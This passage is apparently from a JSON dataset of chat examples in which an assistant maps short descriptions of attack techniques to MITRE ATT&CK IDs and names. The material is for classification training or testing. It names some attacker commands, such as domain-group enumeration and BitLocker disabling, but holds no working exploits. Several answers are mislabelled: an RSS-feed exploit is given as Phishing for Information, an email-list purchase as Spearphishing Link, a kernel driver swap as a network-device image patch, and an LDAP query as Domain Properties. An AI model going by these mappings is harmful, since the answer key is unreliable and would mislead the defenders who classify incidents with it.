                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a malicious RSS feed that embeds exploit code targeting specific browser versions."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates an SFTP connection to a hard‑coded IP address for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a TCP beaconing technique on port 53, mimicking DNS traffic to avoid detection while receiving commands."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code unpacks an LZMA‑compressed malicious module before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged Google dork queries to find exposed digital certificates on the internet."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor runs `Get-LocalGroup` to list all local security groups on the host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor captures a legitimate RDP session by stealing the session cookie and reuses it to gain remote access to the victim’s desktop."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Outlook email signature template contains a script that runs upon opening any new email composed with that signature."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Bluetooth-enabled thumb drive to transfer stolen credentials out of the air-gapped environment."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injecting code via APC allows the attacker to execute payloads in the context of trusted system binaries, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a series of compromised proxy servers in different geographic regions, the threat actor created a multi-hop proxy to bypass regional network defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing an SNMP bulk retrieval, the attacker obtained the device's interface and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a vulnerable domain management API to change the A record of the victim's website to a malicious host."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a PE file with a manipulated Zone.Identifier stream that misleads Windows into treating it as a local file."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro documents embed their payload as ROT13‑encoded strings to bypass email scanning filters."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor conducts credential stuffing by replaying stolen email/password combos on the target's e‑commerce site to hijack customer accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT gateway executed a command to export its configuration dump, which included Wi‑Fi credentials."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware deletes its own log files after execution to erase traces."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware applies standard encoding such as hex or Base64 to hide command-and-control messages."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a series of TCP SYN packets to ports 1000, 2000, and 3000 in that exact order, which acts as a secret signal that unlocks a backdoor service on the target system."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was embedded in a public-facing customer support portal, exfiltrating session cookies and passwords entered by customers."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code deletes all entries in the DHCP client lease database and wipes the DNS cache to remove traces of network activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses OSINT tools to gather a list of social media profiles and linked personal websites belonging to employees of the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DLL injection technique to hook authentication functions and log passwords as they are entered."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests OAuth tokens for a compromised Microsoft 365 account and uses them to access confidential files in SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group alters the code signing policy via Group Policy to whitelist their payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers spin up a serverless container on Alibaba Cloud Function Compute to host a command-and-control component."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Yandex to locate the victim’s publicly listed server infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web server hosted a file called \"audio.mp3.exe\" which exploited double file extensions for masquerading."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses system file modification to alter sensitive files on a compromised system?"
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary invokes the Windows `manage-bde -off` command followed by a full disk format to ensure all encrypted data is destroyed."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed GCP Secret Manager by abusing a misconfigured IAM policy to list all secret versions."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a public web forum as a staging area, posting encoded messages that infected hosts poll and decode for instructions."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email via a trusted corporate messenger platform contains a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT compromised a cloud VM by exploiting a misconfigured security group, gaining full control over the server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy cleanup routine, the actor used PowerShell's `Invoke-Command` to run `Remove-PSDrive -Name ShareDrive` on compromised hosts, removing the SMB share connection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used stolen AWS IAM credentials to log into the victim's management console and enumerate resources."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool queries LDAP to list domain objects and organizational units."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Net-SNMP toolkit to dump the MIB database, obtaining credential and network topology data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages ROMMONkit to replace the bootloader on a network device, gaining control prior to the operating system start."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before executing the payload, the attacker removed embedded metadata and unique identifiers from the PowerShell script to hide the tool’s provenance."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through trust provider hijacking, the attacker bypasses code integrity checks and injects malicious code into trusted processes."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached a stripped payload, which lacked any identifiable build metadata or version info."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload deletes backup files from the cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-step process where initial infection uses PowerShell to drop a backdoor, followed by communication over a custom protocol on port 443."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses a web service tunnel, posting base64‑encoded command data to a compromised website’s form handler to receive instructions."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries a public pastebin-like service, treating it as a dead‑drop resolver to download configuration updates from the C2."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program calculates domain names based on the current date and a secret seed to reach its command server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing website hosts hidden JavaScript that harvests session cookies from visitors and sends them to the attacker, who later uses them to hijack the victims' authenticated sessions."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the Windows kernel driver with a malicious version to persist after reboot."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy unauthorized cryptocurrency mining software on victim servers to consume CPU and GPU resources for profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware monitors for removable media insertion and, upon detection, writes a copy of its payload to the media and creates a shortcut that runs the payload on the next system."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes direct volume access to extract the master boot record (MBR) and partition table for later use."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase a bulk list of email addresses from a data broker for a credential phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection performs a timing check by measuring the latency of a known privileged instruction to infer an emulated environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a sequential ICMP and TCP port scan across the 192.168.100.0/24 network to map the organization’s internal infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a Service entry in HKLM\\System\\CurrentControlSet\\Services to install a hidden backdoor service."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors transmit stolen credentials by concealing them within the EXIF fields of images shared via a corporate messaging app."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a target, pretends to be IT support, and asks for credentials to fix a bogus issue."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First stage uses a malicious macro to download a C2 binary via HTTP, then the binary establishes an encrypted channel over ICMP."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised Azure AD account to perform a bulk export of mailbox data."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool accesses the SECURITY and SAM registry hives to retrieve user hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a backdoored Domain Controller authentication DLL to intercept and rewrite login credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a serverless function's over‑privileged permissions to access and exfiltrate database contents."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker flashes a malicious firmware update that disables the TPM, causing loss of hardware-stored keys."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious iframe is added to a legitimate advertising network, causing browsers that load the ads to fetch and execute a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a malicious Python script onto the victim host and executes it using the system's default Python interpreter."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leaks system information by appending data to the end of regular SSH keep-alive packets directed to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending spoofed SSDP M-SEARCH packets to numerous UPnP devices, the attacker causes amplified responses directed at the target host."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system uploads exfiltrated data to a malicious Google Drive folder using the victim’s OAuth tokens."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary issues 'net group \"Domain Admins\" /domain' to enumerate high-privilege accounts."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured network device to gain elevated access to the network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the 'Port Monitors' registry keys to load a malicious DLL each time a print job is processed."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a .js file as an attachment named \"InvoiceDetails.js\" that, when opened, executes a script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages signed Windows binaries (e.g., rundll32.exe) to execute malicious DLLs, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module scans securityd memory for plaintext password strings."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
